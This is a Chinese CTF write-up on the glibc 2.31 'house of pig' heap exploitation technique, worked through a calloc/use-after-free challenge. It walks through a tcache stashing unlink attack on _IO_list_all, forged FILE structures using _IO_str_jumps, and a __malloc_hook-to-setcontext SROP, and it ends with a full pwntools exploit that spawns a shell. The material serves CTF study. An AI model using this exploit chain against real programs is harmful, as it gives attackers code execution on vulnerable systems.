通过一道题学习house of pig

  1. 1. 通过一道题学习house of pig
    1. 1.1. 题目分析
    2. 1.2. 思路
    3. 1.3. exp

通过一道题学习house of pig

题目附件

题目分析

最近看到一个比较有意思的题目,是pwn_RenCvn师傅给的,基本的菜单功能,但是是通过calloc来申请堆块的大小限制在small bin范围内,漏洞也挺明了的,就是uaf,题目使用的是 libc2.31

image-20211004204211611

参考大佬博客:https://www.anquanke.com/post/id/242640
https://www.anquanke.com/post/id/216290
https://www.anquanke.com/post/id/198173,基本上都是这几篇博客的整合。

因为没有large bin范围的chunk申请,所以large bin attack没办法用,我唯一想到可以用的就是tcache_stashing_unlink_attack,可以任意空间写一个大地址。

思路

执行 Tcache Stashing Unlink Attack

tcache bin和SmallBin中的情况为:

image-20211007230819144

1
Small Bin: Chunk2 -> Chunk1

那么我们接下来若申请一个大小为0xa0Chunk,程序仅会检查Chunk2fd指针是否指向Chunk1。在取出Chunk 1后,因为0xa0的Tcache Bin还有2个空位,程序会首先遍历发现Chunk2满足大小条件并将其作为参数调用tcache_put

1
2
3
4
5
6
7
8
9
10
11
while ( tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin) ) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
...
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}

若此时,我们篡改了Chunk 2bk指针为Fake_Chunk的地址(_IO_list_all-0x10),那么程序接下来会将Small binbk指针置为_IO_list_all-0x10,并且在_IO_list_all-0x10 -> fd的位置写入bin的地址,也就是main_arena的地址。

image-20211007231759273

image-20211007232210057

通过tcache_stashing_unlink_attack_IO_list_all为一个main_arena上的一个地址

image-20211007215428051

然后在main_arena上对应FILE 结构的_chain字段劫持为堆地址(通过释放对应位置的chunk

image-20211007215617489

后面就是伪造 FILE 结构,最重要的一点就是将IO_file_jumps 修改为 _IO_str_jumps,那么当原本应该调用 IO_file_overflow 的时候,就会转而调用如下的 IO_str_overflow。而该函数是以传入的 FILE 地址本身为参数的,同时其中会连续调用 mallocmemcpyfree 函数(如下图)

img

img

然后布置堆块,在0xa0的bin中留下两个堆块

image-20211007215652848

其中一个是malloc_hook,然后我们利用io_file的非预期堆块申请申请到malloc_hook同时用非预期填充将malloc_hook填充为setcontext,然后通过布置寄存器,来拿shell

然后我们看一下我们的fake IO_FILE_plus

Fake IO_FILE_plus1(malloc(0x90))

1
2
3
4
5
payload = p64(0)*2+p64(0)+p64(heap+0x1930)+p64(0) #rdx chunk 22
payload += p64(heap+0x330)+p64(heap+22+0x330)+p64(0)*4 #size 90
payload += p64(heap+0xbb0)+p64(0)+p64(0)+b"\x00"*8 #chain chunk 14
payload += p64(0)*4+b"\x00"*48
payload += p64(0x1ed560+libc_base)#_IO_str_jumps

可以看到第二行的两个地址差22,而通过我们的size计算可以得出size = (0x90-100)/2 = 22,是根据伪代码里的这个得到的:

image-20211007214104336

image-20211007215734735

执行完之后:

image-20211007215817322

Fake IO_FILE_plus2(malloc(0x90) && hijack malloc_hook = setcontext)

1
2
3
4
5
payload = p64(0)*2+p64(0)+p64(heap+0x1940)+p64(0) #rdx 22
payload += p64(heap+0x350)+p64(heap+22+0x350)+p64(0)*4 #size 90
payload += p64(heap+0xf10)+p64(0)+p64(0)+b"\x00"*8 #chain 16
payload += p64(0)*4+b"\x00"*48
payload += p64(0x1ed560+libc_base)#_IO_str_jumps

image-20211007220645501

执行完之后:

image-20211007220907005

image-20211007220935199

然后再malloc就劫持到setcontext+61这里了,接下来执行第三个IO_FILE_plus就会触发srop。

Fake IO_FILE_plus3:(srop)

1
2
3
4
5
payload = p64(0)*2+p64(0)+p64(heap+0x1940)+p64(0) #rdx frame
payload += p64(heap+0x370)+p64(heap+22+0x370)+p64(0)*4 #size 90
payload += p64(heap+0x10c0)+p64(0)+p64(0)+b"\x00"*8 #chain 17
payload += p64(0)*4+b"\x00"*48
payload += p64(0x1ed560+libc_base)#_IO_str_jumps

然后这里有一个小细节。就是在IO_str_overflow里的汇编里

image-20211007221708924

可以看到在调用malloc之前的0x7ffff7e6db65位置rdx被赋值为 [rdi+0x28],而此时的rdi恰好指向我们伪造的IO_FILE_plus的头部,而在glibc2.29的版本上setcontext的利用从以前的rdi变为了rdx,因此我们可以通过这个位置来进行新版下的setcontext,进而实现srop,具体做法是利用非预期地址填充将malloc_hook填充为setcontext,这样在我们进入io_str_overflow时首先会将rdx赋值为我们可以控制的地址,然后在后面malloc的时候会触发setcontext,而此时rdx已经可控,因此就可以成功实现srop

可以看看调试过程:

image-20211007222311130

image-20211007222232223

成功srop

image-20211007223604611

image-20211007224122042

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#coding=utf-8
from pwn import *
context(log_level='debug',arch='amd64')
binary='./pwn2'
main_arena = 0x1ebb80
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
e=ELF(binary)
libc=e.libc
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
one_gadget = [0x4f3d5,0x4f432,0x10a41c]
def choice(index):
ru(">> ")
sl(str(index))

def add(size):
choice(1)
ru("size: ")
sl(str(size))

def free(index):
choice(2)
ru("index: ")
sl(str(index))

def edit(index,content):
choice(3)
ru("index: ")
sl(str(index))
ru("content: ")
sl(content)

def show(index):
choice(4)
ru("index")
sl(str(index))

for i in range(8):
add(0x90)#0-7

for i in range(7):
free(i+1)
free(0)
show(0)
libc_base = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00')) - main_arena - 96
fh = libc.sym['__free_hook']+libc_base
mh = libc.sym['__malloc_hook']+libc_base
setcontext = libc.sym['setcontext']+libc_base+61
system = libc.sym['system']+libc_base
#_IO_str_jumps=libc.sym['_IO_str_jumps']+libc_base
show(2)
ru("content: ")
heap = u64(r(6).ljust(8,b'\x00'))-0x340
su("heap",heap)
list_all = libc.sym['_IO_list_all']+libc_base
su('libc_base',libc_base)
for i in range(6):
add(0xa0)#8-13
for i in range(9):
add(0x1a0)#14-22

for i in range(7):
free(22-i)
free(15)
add(0xf0)#23
add(0x1f0)#24
free(14)
add(0xf0)#25
add(0x1f0)#26
for i in range(6):
free(8+i)

edit(14,b'a'*0xf8+p64(0xb1)+p64(heap+0xe60)+p64(list_all-0x10))

add(0xa0)#Tcache Stashing Unlink Attack 27
for i in range(9):
add(0xf0)#28-36
for i in range(7):
free(i+28)
free(35)
add(0x1f0)#37
payload = p64(0)*2+p64(0)+p64(heap+0x1940)+p64(0) #rdx chunk 22
payload += p64(heap+0x330)+p64(heap+22+0x330)+p64(0)*4 #size 90
payload += p64(heap+0xbb0)+p64(0)+p64(0)+b"\x00"*8 #chain 14
payload += p64(0)*4+b"\x00"*48
payload += p64(0x1ed560+libc_base)#_IO_str_jumps
edit(35,payload)#**Fake IO_FILE_plus1(malloc(0x90))**
edit(1,p64(setcontext)+p64(setcontext))
free(1)
add(0x130)#38
edit(38,b'a'*0x88+p64(0x21)*3+p64(0x21)*2+p64(setcontext)+p64(setcontext)+p64(0x21)*2)

edit(7,p64(mh))
payload = p64(0)*2+p64(0)+p64(heap+0x1940)+p64(0) #rdx 22
payload += p64(heap+0x350)+p64(heap+22+0x350)+p64(0)*4 #size 90
payload += p64(heap+0xf10)+p64(0)+p64(0)+b"\x00"*8 #chain 16
payload += p64(0)*4+b"\x00"*48
payload += p64(0x1ed560+libc_base)#_IO_str_jumps
edit(14,payload)#Fake IO_FILE_plus2(malloc(0x90) && hijack malloc_hook = setcontext)
syscall = next(libc.search(asm("syscall\nret")))+libc_base
binsh_addr = libc_base + next(libc.search(b'/bin/sh\0'))
frame = SigreturnFrame()
frame.rsp = (fh&0xfffffffffffff000)+8#16字节对齐

frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = system
edit(22,bytes(frame))#22

payload = p64(0)*2+p64(0)+p64(heap+0x1940)+p64(0) #rdx 22
payload += p64(heap+0x370)+p64(heap+22+0x370)+p64(0)*4 #size 90
payload += p64(0)+p64(0)+p64(0)+b"\x00"*8 #chain 17
payload += p64(0)*4+b"\x00"*48
payload += p64(0x1ed560+libc_base)#_IO_str_jumps
edit(16,payload)#srop

#gdb.attach(io,'b malloc')
choice(5)

shell()